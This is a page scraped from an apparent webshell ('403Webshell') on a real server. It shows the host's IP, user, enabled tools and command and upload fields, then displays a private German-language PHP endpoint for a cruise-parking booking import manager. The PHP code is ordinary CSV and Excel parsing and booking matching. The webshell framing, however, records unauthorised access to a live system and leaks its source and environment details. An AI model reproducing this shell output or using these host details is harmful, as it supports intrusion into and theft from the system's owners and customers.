403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3951574/root/tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/3951574/root/tmp/imports-api.bak.php
<?php
/**
 * imports-api.php – JSON-Endpunkt des integrierten Import-Managers.
 * Hinter dem PaCIM-Login (Session). Nutzt die importmanager-Klasse.
 *
 * Aktionen (?action=):
 *   GET  search&q=                     -> Live-Suche (Excel) {count, html}
 *   POST undo_file&file_id=
 *   POST undo_day&date=
 *   POST undo_day_ship&date=&ship=
 *   POST excel_preview&file_path=&file_name=[&rows=]   -> {status, html}
 *   POST run_cron                      -> AIDA-Import-Cron starten
 */

require_once( __DIR__ . "/includes/config.inc.php" );

// Saubere JSON-Antwort sicherstellen: keine PHP-Warnungen/Notices in den Output
@ini_set( 'display_errors', '0' );

header( 'Content-Type: application/json; charset=utf-8' );
header( 'Cache-Control: no-store, no-cache, must-revalidate, max-age=0' );

// --- Login-Schutz (gleiche Regel wie page::checkLogin) ---
if ( !isset( $_SESSION['user'] ) || $_SESSION['user'] != LOGIN_USER ) {
    http_response_code( 403 );
    echo json_encode( array( 'status' => 'error', 'success' => false, 'message' => 'Nicht angemeldet.' ) );
    exit();
}

// Excel-Vorschau-Filter (vor Verwendung definieren; bedingt, da PHPExcel benötigt)
if ( !class_exists( 'ImportPreviewReadFilter' ) && interface_exists( 'PHPExcel_Reader_IReadFilter' ) ) {
    class ImportPreviewReadFilter implements PHPExcel_Reader_IReadFilter {
        private $startRow;
        private $endRow;
        public function __construct( $startRow = 1, $endRow = 250 ) {
            $this->startRow = (int) $startRow;
            $this->endRow   = (int) $endRow;
        }
        public function readCell( $column, $row, $worksheetName = '' ) {
            return $row >= $this->startRow && $row <= $this->endRow;
        }
    }
}

$im     = new importmanager();
$action = isset( $_GET['action'] ) ? $_GET['action'] : ( isset( $_POST['action'] ) ? $_POST['action'] : '' );
$isPost = $_SERVER['REQUEST_METHOD'] === 'POST';

switch ( $action ) {

    case 'search':
        echo json_encode( $im->liveSearch( isset( $_GET['q'] ) ? $_GET['q'] : '' ) );
        break;

    case 'undo_file':
        if ( !$isPost ) { im_bad(); }
        echo json_encode( $im->undoFile( isset( $_POST['file_id'] ) ? $_POST['file_id'] : 0 ) );
        break;

    case 'undo_day':
        if ( !$isPost ) { im_bad(); }
        echo json_encode( $im->undoDay( isset( $_POST['date'] ) ? $_POST['date'] : '' ) );
        break;

    case 'undo_day_ship':
        if ( !$isPost ) { im_bad(); }
        echo json_encode( $im->undoDayShip(
            isset( $_POST['date'] ) ? $_POST['date'] : '',
            isset( $_POST['ship'] ) ? $_POST['ship'] : ''
        ) );
        break;

    case 'excel_preview':
        if ( !$isPost ) { im_bad(); }
        echo json_encode( im_excel_preview(
            isset( $_POST['file_path'] ) ? (string) $_POST['file_path'] : '',
            isset( $_POST['file_name'] ) ? (string) $_POST['file_name'] : '',
            isset( $_POST['rows'] ) ? (int) $_POST['rows'] : 250
        ) );
        break;

    case 'run_cron':
        if ( !$isPost ) { im_bad(); }
        echo json_encode( im_run_cron() );
        break;

    case 'upload_preview':
        if ( !$isPost ) { im_bad(); }
        echo json_encode( im_upload_preview() );
        break;

    case 'parking_import':
        if ( !$isPost ) { im_bad(); }
        echo json_encode( im_parking_import() );
        break;

    case 'aida_import':
        if ( !$isPost ) { im_bad(); }
        echo json_encode( im_aida_import() );
        break;

    default:
        im_bad();
}

function im_bad() {
    http_response_code( 400 );
    echo json_encode( array( 'status' => 'error', 'success' => false, 'message' => 'Ungültige Anfrage.' ) );
    exit();
}

/* ---------- CSV-Vorschau (ParkingList o. ä.) als HTML-Tabelle ---------- */
function im_csv_preview( $filePath, $previewRows ) {
    $previewRows = max( 50, min( 2000, (int) $previewRows ) );
    $fh = fopen( $filePath, 'r' );
    if ( !$fh ) return array( 'status' => 'error', 'message' => 'Datei nicht lesbar.' );

    $esc = function ( $v ) {
        $v = preg_replace( '#<br\s*/?>#i', ' · ', (string) $v );
        return htmlspecialchars( strip_tags( $v ), ENT_QUOTES, 'UTF-8' );
    };

    $header = fgetcsv( $fh, 0, ',' );
    if ( !$header ) { fclose( $fh ); return array( 'status' => 'error', 'message' => 'Leere oder ungültige CSV.' ); }

    $html  = '<div class="imports-preview-bar text-muted small mb-2">Vorschau: max. ' . (int) $previewRows . ' Zeilen</div>';
    $html .= '<div class="table-responsive" style="max-height:75vh;"><table class="table table-sm table-bordered table-hover mb-0"><thead class="table-light"><tr>';
    foreach ( $header as $h ) $html .= '<th class="text-nowrap">' . $esc( $h ) . '</th>';
    $html .= '</tr></thead><tbody>';

    $rows = 0;
    while ( ( $r = fgetcsv( $fh, 0, ',' ) ) !== false ) {
        $nonEmpty = false;
        foreach ( $r as $c ) { if ( trim( (string) $c ) !== '' ) { $nonEmpty = true; break; } }
        if ( !$nonEmpty ) continue;
        if ( $rows++ >= $previewRows ) break;
        $html .= '<tr>';
        foreach ( $r as $c ) $html .= '<td class="text-nowrap small">' . $esc( $c ) . '</td>';
        $html .= '</tr>';
    }
    fclose( $fh );
    $html .= '</tbody></table></div>';

    return array( 'status' => 'success', 'html' => $html );
}

/* ---------- Excel-Vorschau (portiert aus import-manager/.../read.php) ---------- */
function im_excel_preview( $filePathInput, $fileNameInput, $previewRows ) {
    if ( $filePathInput === '' || $fileNameInput === '' ) {
        return array( 'status' => 'error', 'message' => 'Kein Dateipfad angegeben.' );
    }

    $fileName = basename( $fileNameInput );
    $filePath = rtrim( $filePathInput, '/' ) . '/' . $fileName;

    if ( !is_file( $filePath ) || !is_readable( $filePath ) ) {
        return array( 'status' => 'error', 'message' => 'Datei nicht gefunden oder nicht lesbar.' );
    }
    $ext = strtolower( pathinfo( $filePath, PATHINFO_EXTENSION ) );
    if ( $ext === 'csv' || $ext === 'txt' ) {
        return im_csv_preview( $filePath, $previewRows );
    }
    if ( !in_array( $ext, array( 'xls', 'xlsx' ), true ) ) {
        return array( 'status' => 'error', 'message' => 'Ungültiges Dateiformat.' );
    }
    if ( !class_exists( 'PHPExcel_IOFactory' ) ) {
        return array( 'status' => 'error', 'message' => 'PHPExcel wurde nicht geladen.' );
    }

    $previewRows = max( 50, min( 1000, (int) $previewRows ) );

    try {
        $fileMd5     = md5_file( $filePath );
        $downloadUrl = SITE_URL . '/file.php?token=' . urlencode( IMPORT_DOWNLOAD_TOKEN ) . '&type=download&file=' . urlencode( $fileMd5 );

        PHPExcel_Settings::setCacheStorageMethod(
            PHPExcel_CachedObjectStorageFactory::cache_to_phpTemp,
            array( 'memoryCacheSize' => '128MB' )
        );

        $reader = PHPExcel_IOFactory::createReaderForFile( $filePath );
        $reader->setReadDataOnly( true );
        $reader->setReadFilter( new ImportPreviewReadFilter( 1, $previewRows ) );

        $excelObj  = $reader->load( $filePath );
        $worksheet = $excelObj->getActiveSheet();

        $highestRow         = min( (int) $worksheet->getHighestRow(), $previewRows );
        $highestColumnIndex = PHPExcel_Cell::columnIndexFromString( $worksheet->getHighestColumn() );

        $html  = '<div class="imports-preview-bar d-flex justify-content-between align-items-center mb-2">';
        $html .= '<span class="text-muted small">Vorschau: max. ' . (int) $previewRows . ' Zeilen</span>';
        $html .= '<a href="' . htmlspecialchars( $downloadUrl, ENT_QUOTES, 'UTF-8' ) . '" class="btn btn-sm btn-primary" target="_blank">Download</a>';
        $html .= '</div><div class="table-responsive" style="max-height:75vh;"><table class="table table-sm table-bordered table-hover mb-0">';

        // Kopfzeile (Zeile 2) lesen, um Datumsspalten zu erkennen
        $headers = array();
        for ( $col = 0; $col < $highestColumnIndex; $col++ ) {
            $cell = $worksheet->getCellByColumnAndRow( $col, 2 );
            $headers[$col] = $cell ? trim( (string) $cell->getValue() ) : '';
        }
        $departureIdx = function_exists( 'findHeaderIndex' ) ? findHeaderIndex( $headers, array( 'Departure Date', 'Departure' ) ) : null;
        $arrivalIdx   = function_exists( 'findHeaderIndex' ) ? findHeaderIndex( $headers, array( 'Arrival Date', 'Arrival' ) ) : null;

        // Kopfzeile rendern
        $html .= '<thead class="table-light"><tr>';
        foreach ( $headers as $h ) {
            $html .= '<th class="text-nowrap">' . htmlspecialchars( $h, ENT_QUOTES, 'UTF-8' ) . '</th>';
        }
        $html .= '</tr></thead><tbody>';

        // Datenzeilen ab Zeile 3 (Datumsspalten korrekt formatieren)
        for ( $row = 3; $row <= $highestRow; $row++ ) {
            $html .= '<tr>';
            for ( $col = 0; $col < $highestColumnIndex; $col++ ) {
                $cell = $worksheet->getCellByColumnAndRow( $col, $row );
                if ( $col === $departureIdx || $col === $arrivalIdx ) {
                    $val = im_format_excel_date( $cell );
                } else {
                    $val = $cell ? $cell->getFormattedValue() : '';
                }
                $html .= '<td class="text-nowrap">' . htmlspecialchars( (string) $val, ENT_QUOTES, 'UTF-8' ) . '</td>';
            }
            $html .= '</tr>';
        }
        $html .= '</tbody></table></div>';

        $excelObj->disconnectWorksheets();
        unset( $worksheet, $excelObj, $reader );

        return array( 'status' => 'success', 'html' => $html );

    } catch ( Exception $e ) {
        error_log( 'Excel Preview Fehler: ' . $e->getMessage() );
        return array( 'status' => 'error', 'message' => 'Fehler beim Lesen der Excel-Datei.' );
    }
}

/* ---------- Datumszelle formatieren (Departure/Arrival -> d.m.Y) ---------- */
function im_format_excel_date( $cell ) {
    if ( $cell === null ) return '';
    $raw = $cell->getValue();

    // Excel-Serielldatum (Zahl) -> Datum (readDataOnly liefert keine Formatmaske)
    if ( is_numeric( $raw ) && (float) $raw > 0 && class_exists( 'PHPExcel_Shared_Date' ) ) {
        $ts = PHPExcel_Shared_Date::ExcelToPHP( (float) $raw );
        if ( $ts ) return date( 'd.m.Y', $ts );
    }

    // sonst String-Wert in gängigen Formaten parsen
    $raw = trim( (string) $raw );
    if ( $raw === '' ) return '';
    foreach ( array( 'd.m.Y', 'd.m.y', 'Y-m-d', 'd/m/Y', 'd/m/y', 'Y-m-d H:i:s' ) as $fmt ) {
        $dt = DateTime::createFromFormat( $fmt, $raw );
        if ( $dt instanceof DateTime ) return $dt->format( 'd.m.Y' );
    }
    $tsp = strtotime( $raw );
    return $tsp !== false ? date( 'd.m.Y', $tsp ) : $raw;
}

/* =====================================================================
 * Upload-Vorschau (DRY-RUN) – erkennt automatisch AIDA-Liste vs. ParkingList.
 * Es werden KEINE Datensätze importiert und KEINE Datei gespeichert.
 * ===================================================================== */
function im_upload_preview() {
    if ( empty( $_FILES['file'] ) || !isset( $_FILES['file']['error'] ) || $_FILES['file']['error'] !== UPLOAD_ERR_OK ) {
        return array( 'ok' => false, 'message' => 'Keine Datei empfangen oder Upload-Fehler.' );
    }
    $tmp  = $_FILES['file']['tmp_name'];
    $name = (string) $_FILES['file']['name'];
    $ext  = strtolower( pathinfo( $name, PATHINFO_EXTENSION ) );
    $size = (int) $_FILES['file']['size'];
    if ( !is_uploaded_file( $tmp ) ) return array( 'ok' => false, 'message' => 'Ungültiger Upload.' );
    if ( $size <= 0 ) return array( 'ok' => false, 'message' => 'Die Datei ist leer.' );
    if ( $size > 20 * 1024 * 1024 ) return array( 'ok' => false, 'message' => 'Datei zu groß (max. 20 MB).' );

    // ---- Typerkennung ----
    $type = 'unknown';
    if ( $ext === 'csv' || $ext === 'txt' ) {
        $fh = fopen( $tmp, 'r' );
        $headerLine = $fh ? (string) fgets( $fh, 8192 ) : '';
        if ( $fh ) fclose( $fh );
        $hl = mb_strtolower( $headerLine, 'UTF-8' );
        if ( strpos( $hl, 'buchungsnbr' ) !== false || strpos( $hl, 'kfz' ) !== false || strpos( $hl, 'parkplatz' ) !== false ) {
            $type = 'parking';
        } elseif ( strpos( $hl, 'cabin' ) !== false || strpos( $hl, 'departure' ) !== false || strpos( $hl, 'arrival' ) !== false ) {
            $type = 'aida';
        }
    } elseif ( $ext === 'xls' || $ext === 'xlsx' ) {
        $type = 'aida';
    }

    if ( $type === 'parking' ) return im_preview_parking( $tmp, $name, $size );
    if ( $type === 'aida' )    return im_preview_aida( $tmp, $name, $ext, $size );
    return array( 'ok' => true, 'type' => 'unknown', 'dryRun' => true, 'filename' => $name,
                  'message' => 'Dateityp konnte nicht erkannt werden – weder ParkingList (CSV mit „BuchungsNbr."/„KfZ") noch AIDA-Liste (Excel bzw. „Cabin"/„Arrival").' );
}

/** "16/06/2026" -> "2026-06-16" (oder null). Akzeptiert auch d/m/Y H:i. */
function im_dmy( $s ) {
    $s = trim( (string) $s );
    if ( $s === '' ) return null;
    $s = preg_replace( '/\s+\d{1,2}:\d{2}.*$/', '', $s ); // evtl. Uhrzeit abschneiden
    $dt = DateTime::createFromFormat( 'd/m/Y', $s );
    if ( $dt instanceof DateTime ) return $dt->format( 'Y-m-d' );
    $dt = DateTime::createFromFormat( 'd.m.Y', $s );
    if ( $dt instanceof DateTime ) return $dt->format( 'Y-m-d' );
    return null;
}

/** "15:00 Uhr" / "15.00" -> "15:00:00" (oder null). */
function im_time( $s ) {
    $s = str_replace( '.', ':', trim( (string) $s ) );
    if ( $s === '' ) return null;
    if ( preg_match( '/(\d{1,2}):(\d{2})/', $s, $m ) ) {
        $h = (int) $m[1]; $mi = (int) $m[2];
        if ( $h >= 0 && $h < 24 && $mi >= 0 && $mi < 60 ) return sprintf( '%02d:%02d:00', $h, $mi );
    }
    return null;
}

/** "135,00 €" -> 135.00 */
function im_money( $s ) {
    $s = preg_replace( '/[^0-9,.\-]/', '', (string) $s );
    if ( $s === '' ) return 0.0;
    $s = str_replace( '.', '', $s );   // Tausenderpunkt
    $s = str_replace( ',', '.', $s );  // Dezimalkomma
    return (float) $s;
}

/** Kennzeichen normalisieren (für Abgleich): nur A-Z/0-9, Großbuchstaben. */
function im_norm_plate( $s ) { return strtoupper( preg_replace( '/[^A-Za-z0-9]/', '', (string) $s ) ); }
/** Schiffsname normalisieren (für Abgleich): nur A-Z/0-9, Großbuchstaben (AIDAdiva==AIDA DIVA). */
function im_norm_ship( $s ) { return strtoupper( preg_replace( '/[^A-Za-z0-9]/', '', (string) $s ) ); }
/** Freitext normalisieren (lower, getrimmt, Mehrfach-Spaces zu einem). */
function im_norm_txt( $s ) { return mb_strtolower( trim( preg_replace( '/\s+/', ' ', (string) $s ) ), 'UTF-8' ); }

/** ParkingList-CSV (seaside travel) als Dry-Run parsen. */
/**
 * ParkingList-CSV in strukturierte Zeilen parsen (für Vorschau UND Import identisch).
 * Rückgabe: array(ok, rows[], warnings[], sum, halle, aussen, ships{}, minA, maxA, gotAddress, n) | array(ok=false, message)
 */
function im_parking_parse( $tmp ) {
    $fh = fopen( $tmp, 'r' );
    if ( !$fh ) return array( 'ok' => false, 'message' => 'Datei nicht lesbar.' );
    $header = fgetcsv( $fh, 0, ',' );
    if ( !$header ) { fclose( $fh ); return array( 'ok' => false, 'message' => 'Leere oder ungültige CSV.' ); }

    $find = function ( $needle ) use ( $header ) {
        foreach ( $header as $i => $h ) { if ( stripos( (string) $h, $needle ) !== false ) return $i; }
        return -1;
    };
    $findAll = function ( $needle ) use ( $header ) {
        $o = array();
        foreach ( $header as $i => $h ) { if ( stripos( (string) $h, $needle ) !== false ) $o[] = $i; }
        return $o;
    };
    $iNo = $find( 'BuchungsNbr' ); $iDate = $find( 'Buchungsdatum' ); $iLot = $find( 'Parkplatz' );
    $iContact = $find( 'Name' ); $iPlate = $find( 'KfZ' ); $iPers = $find( 'Personen' );
    $iArr = $find( 'Ankunft am Parkplatz' ); $iRet = $find( 'Ankunft am Flughafen' ); $iPrice = $find( 'Price' );
    $flights = $findAll( 'FlightNbr' );
    $iShip1 = isset( $flights[0] ) ? $flights[0] : -1;
    $iShip2 = isset( $flights[1] ) ? $flights[1] : -1;
    $iStreet  = $find( 'Stra' );
    $iAddr    = ( $iStreet < 0 ) ? ( $find( 'Anschrift' ) >= 0 ? $find( 'Anschrift' ) : $find( 'Adresse' ) ) : -1;
    $iZip     = $find( 'PLZ' ); if ( $iZip < 0 ) $iZip = $find( 'Postleit' );
    $iCity    = $find( 'Ort' ); if ( $iCity < 0 ) $iCity = $find( 'Stadt' );
    $iCountry = $find( 'Land' );
    $hasAddrColumns = ( $iStreet >= 0 || $iAddr >= 0 || $iZip >= 0 || $iCity >= 0 );

    $get = function ( $r, $i ) { return ( $i >= 0 && isset( $r[$i] ) ) ? trim( (string) $r[$i] ) : ''; };
    $splitBr = function ( $v ) { return preg_split( '#<br\s*/?>#i', (string) $v ); };

    $rows = array(); $warnings = array();
    $sum = 0.0; $halle = 0; $aussen = 0; $ships = array(); $minA = null; $maxA = null; $n = 0; $gotAddress = false;

    while ( ( $r = fgetcsv( $fh, 0, ',' ) ) !== false ) {
        $nonEmpty = false;
        foreach ( $r as $c ) { if ( trim( (string) $c ) !== '' ) { $nonEmpty = true; break; } }
        if ( !$nonEmpty ) continue;
        $n++;

        $contact = $splitBr( $get( $r, $iContact ) );
        $cname  = trim( strip_tags( isset( $contact[0] ) ? $contact[0] : '' ) );
        $cmail  = trim( isset( $contact[1] ) ? $contact[1] : '' );
        $cphone = trim( isset( $contact[2] ) ? $contact[2] : '' );
        $parts  = preg_split( '/\s+/', $cname );
        $clast  = count( $parts ) ? $parts[ count( $parts ) - 1 ] : '';
        $cfirst = ( count( $parts ) > 1 ) ? trim( preg_replace( '/\s+\S+$/', '', $cname ) ) : '';

        $street = ''; $zip = ''; $city = ''; $country = '';
        if ( $iStreet >= 0 )  $street = $get( $r, $iStreet );
        if ( $iZip >= 0 )     $zip    = $get( $r, $iZip );
        if ( $iCity >= 0 )    $city   = $get( $r, $iCity );
        if ( $iCountry >= 0 ) $country = $get( $r, $iCountry );
        if ( $iAddr >= 0 ) {
            $a = preg_replace( '#<br\s*/?>#i', ', ', $get( $r, $iAddr ) );
            $pp = array_map( 'trim', explode( ',', $a ) );
            if ( $street === '' && isset( $pp[0] ) ) $street = $pp[0];
            if ( isset( $pp[1] ) && preg_match( '/^(\d{4,5})\s+(.+)$/', $pp[1], $mm ) ) { if ( $zip === '' ) $zip = $mm[1]; if ( $city === '' ) $city = $mm[2]; }
            elseif ( isset( $pp[1] ) && $city === '' ) $city = $pp[1];
        }
        if ( !$hasAddrColumns && count( $contact ) > 3 ) {
            $extra = array();
            for ( $k = 3; $k < count( $contact ); $k++ ) { $t = trim( strip_tags( $contact[$k] ) ); if ( $t !== '' ) $extra[] = $t; }
            if ( count( $extra ) ) {
                if ( $street === '' ) $street = $extra[0];
                if ( isset( $extra[1] ) ) { if ( preg_match( '/^(\d{4,5})\s+(.+)$/', $extra[1], $mm ) ) { if ( $zip === '' ) $zip = $mm[1]; if ( $city === '' ) $city = $mm[2]; } elseif ( $city === '' ) $city = $extra[1]; }
            }
        }
        $rowHasAddr = ( $street !== '' || $zip !== '' || $city !== '' );
        if ( $rowHasAddr ) $gotAddress = true;
        $addrLabel = trim( $street . ( ( $zip !== '' || $city !== '' ) ? ', ' . trim( $zip . ' ' . $city ) : '' ) );

        $lot = $get( $r, $iLot );
        $typ = ( stripos( $lot, 'hallen' ) !== false ) ? 'Halle' : 'Außen';
        if ( $typ === 'Halle' ) $halle++; else $aussen++;

        $arrP = $splitBr( $get( $r, $iArr ) );
        $aDate = im_dmy( isset( $arrP[0] ) ? $arrP[0] : '' );
        $aTime = trim( preg_replace( '/uhr/i', '', isset( $arrP[1] ) ? $arrP[1] : '' ) );
        $retP = $splitBr( $get( $r, $iRet ) );
        $rDate = im_dmy( isset( $retP[0] ) ? $retP[0] : '' );
        $rTime = trim( preg_replace( '/uhr/i', '', isset( $retP[1] ) ? $retP[1] : '' ) );

        $ship = $get( $r, $iShip1 ); if ( $ship === '' ) $ship = $get( $r, $iShip2 );
        $ship = trim( $ship ); if ( $ship !== '' ) $ships[$ship] = true;

        $price = im_money( $get( $r, $iPrice ) ); $sum += $price;
        $plate = $get( $r, $iPlate );
        $no    = $get( $r, $iNo );

        if ( $plate === '' ) $warnings[] = 'Zeile ' . $n . ': kein Kennzeichen';
        if ( $aDate === null ) $warnings[] = 'Zeile ' . $n . ': Anreisedatum unlesbar';
        if ( $aDate !== null ) { if ( $minA === null || $aDate < $minA ) $minA = $aDate; if ( $maxA === null || $aDate > $maxA ) $maxA = $aDate; }

        $rows[] = array(
            'no' => $no, 'bdate' => $get( $r, $iDate ), 'typ' => $typ, 'name' => $cname, 'firstname' => $cfirst, 'lastname' => $clast,
            'mail' => $cmail, 'phone' => $cphone, 'plate' => $plate, 'pers' => (int) $get( $r, $iPers ),
            'street' => $street, 'zip' => $zip, 'city' => $city, 'country' => $country, 'addr' => $addrLabel, 'rowHasAddr' => $rowHasAddr,
            'aDateRaw' => $aDate, 'rDateRaw' => $rDate, 'aTime' => $aTime, 'cruise_checkin' => im_time( $aTime ),
            'arrival' => ( $aDate ? date( 'd.m.Y', strtotime( $aDate ) ) : ( isset( $arrP[0] ) ? trim( $arrP[0] ) : '' ) ) . ( $aTime ? ' ' . $aTime : '' ),
            'ship' => $ship,
            'return' => ( $rDate ? date( 'd.m.Y', strtotime( $rDate ) ) : ( isset( $retP[0] ) ? trim( $retP[0] ) : '' ) ) . ( $rTime ? ' ' . $rTime : '' ),
            'price' => $price,
            'status' => 'new', 'diff' => array(), 'match' => null,
        );
    }
    fclose( $fh );
    if ( !$gotAddress ) $warnings[] = 'Keine Adressdaten in der Datei gefunden (Adresse konnte nicht erfasst werden).';

    return array( 'ok' => true, 'rows' => $rows, 'warnings' => $warnings, 'sum' => $sum, 'halle' => $halle,
                  'aussen' => $aussen, 'ships' => $ships, 'minA' => $minA, 'maxA' => $maxA, 'gotAddress' => $gotAddress, 'n' => $n );
}

/** Bestehende eigene/ParkingList-Buchungen im Anreisezeitraum, Schlüssel normPlate|begin (mit IDs). */
function im_parking_existing_map( $db, $minA, $maxA ) {
    $map = array();
    if ( $minA === null ) return $map;
    $ex = $db->rawQuery(
        "SELECT b.booking_id, b.booking_customer, b.booking_invoice, b.booking_serial, b.booking_begin, b.booking_end,
                b.booking_type, b.booking_event, b.booking_cruise_checkin,
                c.customer_lastname, c.customer_street, c.customer_zipcode, c.customer_city
           FROM pacim_booking b
           INNER JOIN pacim_customer c ON c.customer_id = b.booking_customer AND c.customer_source IN ('Parken-am-Schiff.de','ParkingList')
          WHERE b.booking_begin BETWEEN ? AND ?",
        array( $minA, $maxA )
    );
    foreach ( (array) $ex as $e ) {
        $k = im_norm_plate( $e['booking_serial'] ) . '|' . substr( (string) $e['booking_begin'], 0, 10 );
        if ( !isset( $map[$k] ) ) $map[$k] = $e;
    }
    return $map;
}

/** Klassifiziert Zeilen (new/update/duplicate), setzt status/diff/match. Rückgabe [new,update,duplicate]. */
function im_parking_classify( &$rows, $map ) {
    $cNew = 0; $cUpd = 0; $cDup = 0;
    foreach ( $rows as $idx => $row ) {
        if ( $row['plate'] === '' || $row['aDateRaw'] === null ) { $rows[$idx]['status'] = 'new'; $cNew++; continue; }
        $k = im_norm_plate( $row['plate'] ) . '|' . $row['aDateRaw'];
        if ( !isset( $map[$k] ) ) { $rows[$idx]['status'] = 'new'; $cNew++; continue; }
        $e = $map[$k];
        $rows[$idx]['match'] = $e;
        $diff = array();
        $exTyp = ( (int) $e['booking_type'] === 1 ) ? 'Halle' : 'Außen';
        if ( $exTyp !== $row['typ'] ) $diff[] = 'Stellplatz';
        if ( $row['rDateRaw'] && substr( (string) $e['booking_end'], 0, 10 ) !== $row['rDateRaw'] ) $diff[] = 'Rückreise';
        if ( !empty( $row['cruise_checkin'] ) && substr( (string) $e['booking_cruise_checkin'], 0, 5 ) !== substr( $row['cruise_checkin'], 0, 5 ) ) $diff[] = 'Anreisezeit';
        if ( $row['ship'] !== '' && im_norm_ship( $e['booking_event'] ) !== im_norm_ship( $row['ship'] ) ) $diff[] = 'Schiff';
        if ( $row['lastname'] !== '' && im_norm_txt( $e['customer_lastname'] ) !== '' && im_norm_txt( $e['customer_lastname'] ) !== im_norm_txt( $row['lastname'] ) ) $diff[] = 'Name';
        if ( $row['rowHasAddr'] ) {
            if ( im_norm_txt( $e['customer_street'] )  !== im_norm_txt( $row['street'] ) ) $diff[] = 'Straße';
            if ( im_norm_txt( $e['customer_zipcode'] ) !== im_norm_txt( $row['zip'] ) )    $diff[] = 'PLZ';
            if ( im_norm_txt( $e['customer_city'] )    !== im_norm_txt( $row['city'] ) )   $diff[] = 'Ort';
        }
        if ( count( $diff ) ) { $rows[$idx]['status'] = 'update'; $rows[$idx]['diff'] = $diff; $cUpd++; }
        else { $rows[$idx]['status'] = 'duplicate'; $cDup++; }
    }
    return array( $cNew, $cUpd, $cDup );
}

/** Nächste fortlaufende Buchungsnummer (YY-NNNNN). */
function im_next_booking_no( $db ) {
    $r = $db->rawQueryOne( "SELECT MAX(CAST(SUBSTRING_INDEX(booking_no,'-',-1) AS UNSIGNED))+1 AS nx FROM pacim_booking WHERE booking_no REGEXP '^[0-9]{2}-[0-9]+$'" );
    $nx = ( $r && $r['nx'] ) ? (int) $r['nx'] : 1;
    return date( 'y' ) . '-' . $nx;
}

/**
 * Event anhand Anreise(+Rückreise) + Schiff auflösen. Liefert array('id','title')
 * mit dem KANONISCHEN Titel aus der DB (z. B. „AIDA DIVA" -> „AIDAdiva") oder null.
 * Abgleich über normalisierten Schiffsnamen (Groß/Klein, Leer-/Sonderzeichen egal).
 */
function im_event_match( $db, $begin, $end, $ship ) {
    if ( !$begin || $ship === '' ) return null;
    $ns = im_norm_ship( $ship );
    if ( $ns === '' ) return null;

    // 1) gleiches An- UND Abreisedatum, 2) Fallback nur Anreisedatum
    $sets = array();
    if ( $end ) $sets[] = $db->rawQuery( "SELECT event_calendar_id AS id, event_calendar_title AS title FROM pacim_events WHERE DATE(event_calendar_begin)=? AND DATE(event_calendar_end)=?", array( $begin, $end ) );
    $sets[] = $db->rawQuery( "SELECT event_calendar_id AS id, event_calendar_title AS title FROM pacim_events WHERE DATE(event_calendar_begin)=?", array( $begin ) );

    foreach ( $sets as $rows ) {
        if ( empty( $rows ) ) continue;
        // exakter (normalisierter) Treffer bevorzugt
        foreach ( $rows as $r ) { if ( im_norm_ship( $r['title'] ) === $ns ) return array( 'id' => (int) $r['id'], 'title' => $r['title'] ); }
        // sonst Präfix-Treffer (z. B. „MSC Magnifica " vs „MSC Magnifica")
        foreach ( $rows as $r ) {
            $nt = im_norm_ship( $r['title'] );
            if ( $nt !== '' && ( strpos( $nt, $ns ) === 0 || strpos( $ns, $nt ) === 0 ) ) return array( 'id' => (int) $r['id'], 'title' => $r['title'] );
        }
    }
    return null;
}

/** ParkingList-Vorschau (Dry-Run): parsen, klassifizieren, Tabelle + Summary. */
function im_preview_parking( $tmp, $name, $size ) {
    $p = im_parking_parse( $tmp );
    if ( empty( $p['ok'] ) ) return $p;
    $rows = $p['rows']; $warnings = $p['warnings'];
    $sum = $p['sum']; $halle = $p['halle']; $aussen = $p['aussen']; $ships = $p['ships'];
    $minA = $p['minA']; $maxA = $p['maxA']; $gotAddress = $p['gotAddress']; $n = $p['n'];

    $db  = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB );
    $map = im_parking_existing_map( $db, $minA, $maxA );
    list( $cNew, $cUpd, $cDup ) = im_parking_classify( $rows, $map );

    $esc = function ( $v ) { return htmlspecialchars( (string) $v, ENT_QUOTES, 'UTF-8' ); };
    $statusBadge = function ( $row ) use ( $esc ) {
        if ( $row['status'] === 'new' )    return '<span class="badge bg-success">Neu</span>';
        if ( $row['status'] === 'update' ) return '<span class="badge bg-warning text-dark" title="Geändert: ' . $esc( implode( ', ', $row['diff'] ) ) . '">Änderung</span><div class="small text-muted">' . $esc( implode( ', ', $row['diff'] ) ) . '</div>';
        return '<span class="badge bg-secondary">Unverändert</span>';
    };
    $html = '<div class="table-responsive" style="max-height:60vh;"><table class="table table-sm table-hover table-bordered mb-0"><thead class="table-light"><tr>'
          . '<th>Status</th><th>BuchungsNr.</th><th>Typ</th><th>Name</th><th>Adresse</th><th>E-Mail</th><th>Telefon</th><th>Kennzeichen</th><th class="text-end">Pers.</th><th>Anreise</th><th>Schiff</th><th>Rückreise</th><th class="text-end">Preis</th></tr></thead><tbody>';
    $shown = 0;
    foreach ( $rows as $row ) {
        if ( $shown++ >= 100 ) break;
        $html .= '<tr>'
            . '<td class="text-nowrap">' . $statusBadge( $row ) . '</td>'
            . '<td class="text-nowrap small">' . $esc( $row['no'] ) . '</td>'
            . '<td><span class="badge ' . ( $row['typ'] === 'Halle' ? 'bg-info' : 'bg-secondary' ) . '">' . $esc( $row['typ'] ) . '</span></td>'
            . '<td class="text-nowrap">' . $esc( $row['name'] ) . '</td>'
            . '<td class="small">' . ( $row['addr'] !== '' ? $esc( $row['addr'] ) : '<span class="text-muted">—</span>' ) . '</td>'
            . '<td class="small">' . $esc( $row['mail'] ) . '</td>'
            . '<td class="text-nowrap small">' . $esc( $row['phone'] ) . '</td>'
            . '<td class="text-nowrap"><span class="badge bg-light text-dark border">' . $esc( $row['plate'] ) . '</span></td>'
            . '<td class="text-end">' . $esc( $row['pers'] ) . '</td>'
            . '<td class="text-nowrap small">' . $esc( $row['arrival'] ) . '</td>'
            . '<td class="text-nowrap">' . $esc( $row['ship'] ) . '</td>'
            . '<td class="text-nowrap small">' . $esc( $row['return'] ) . '</td>'
            . '<td class="text-end text-nowrap">' . number_format( $row['price'], 2, ',', '.' ) . ' €</td>'
            . '</tr>';
    }
